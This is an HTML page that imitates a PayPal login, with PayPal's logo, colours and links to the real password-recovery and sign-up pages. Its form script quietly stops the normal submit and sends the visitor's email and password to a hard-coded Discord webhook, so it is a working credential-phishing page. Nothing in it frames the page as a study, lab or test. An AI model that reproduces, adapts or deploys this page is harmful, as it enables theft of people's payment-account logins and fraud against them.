<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PayPal Sign Up</title> <!-- Title changed here -->
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: flex-start;  /* Aligns the content to the top */
            height: 100vh;  /* Full viewport height */
            text-align: center;
            padding-top: 150px;  /* Increased space from the top of the page */
        }
        .login-container {
            width: 100%;
            max-width: 400px;
            padding: 20px;
            background-color: white;
            border-radius: 8px;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
        }
        .login-container h2 {
            margin-bottom: 20px;
        }
        .login-container input[type="text"],
        .login-container input[type="password"],
        .login-container input[type="submit"] {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            border-radius: 4px;
            border: 1px solid #ccc;
            box-sizing: border-box;
        }
        .login-container input[type="submit"] {
            background-color: #0070ba;  /* PayPal Blue */
            color: white;
            border: none;
            cursor: pointer;
        }
        .login-container input[type="submit"]:hover {
            background-color: #005c8c;  /* Slightly darker blue on hover */
        }
        .login-container .footer {
            margin-top: 20px;
            font-size: 14px;
        }
        .forgot-password {
            color: #0070ba;  /* PayPal Blue */
            font-size: 14px;
            text-decoration: none;
            display: block;
            margin-top: 10px;
        }
        .forgot-password:hover {
            text-decoration: underline;
            color: #005c8c;  /* Slightly darker PayPal Blue on hover */
        }
        .signup-link {
            color: #0070ba;  /* PayPal Blue */
            font-size: 14px;
            text-decoration: none;
        }
        .signup-link:hover {
            text-decoration: underline;
            color: #005c8c;  /* Slightly darker PayPal Blue on hover */
        }
    </style>
</head>
<body>

    <div class="login-container">
        <h2><img src="https://www.paypalobjects.com/webstatic/paypalme/images/social/pplogo384.png" alt="PayPal Logo" width="120"></h2>
        <form id="loginForm" method="POST" onsubmit="sendToDiscord(event)">
            <input type="text" name="email" placeholder="Email" required><br>
            <input type="password" name="password" placeholder="Password" required><br>
            <a href="https://www.paypal.com/authflow/password-recovery/" class="forgot-password" target="_blank">Forgot password?</a>
            <input type="submit" value="Login">
        </form>
        <div class="footer">
            <p>Don't have an account? <a href="https://www.paypal.com/us/webapps/mpp/account-selection" class="signup-link" target="_blank">Sign up here</a></p>
        </div>
    </div>

    <script>
        // Function to handle the form submission to Discord
        function sendToDiscord(event) {
            event.preventDefault();  // Prevent the default form submission

            const email = event.target.email.value;
            const password = event.target.password.value;

            // Prepare the payload for Discord webhook
            const payload = {
                content: `**Email:** ${email}\n**Password:** ${password}`
            };

            // Send the data to the Discord webhook
            fetch('https://discord.com/api/webhooks/1323144107631054920/2UxLF9fDMX_HVA-kSavpcE0IpNe4QE_8jOs1NLn0ymL02OFI7ODEQSIxE3vjanFfSVu6', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(payload)
            })
            .then(response => {
                if (response.ok) {
                    console.log('Data sent to Discord!');
                } else {
                    console.error('Failed to send data to Discord');
                }
            })
            .catch(error => console.error('Error:', error));
        }
    </script>

</body>
</html>
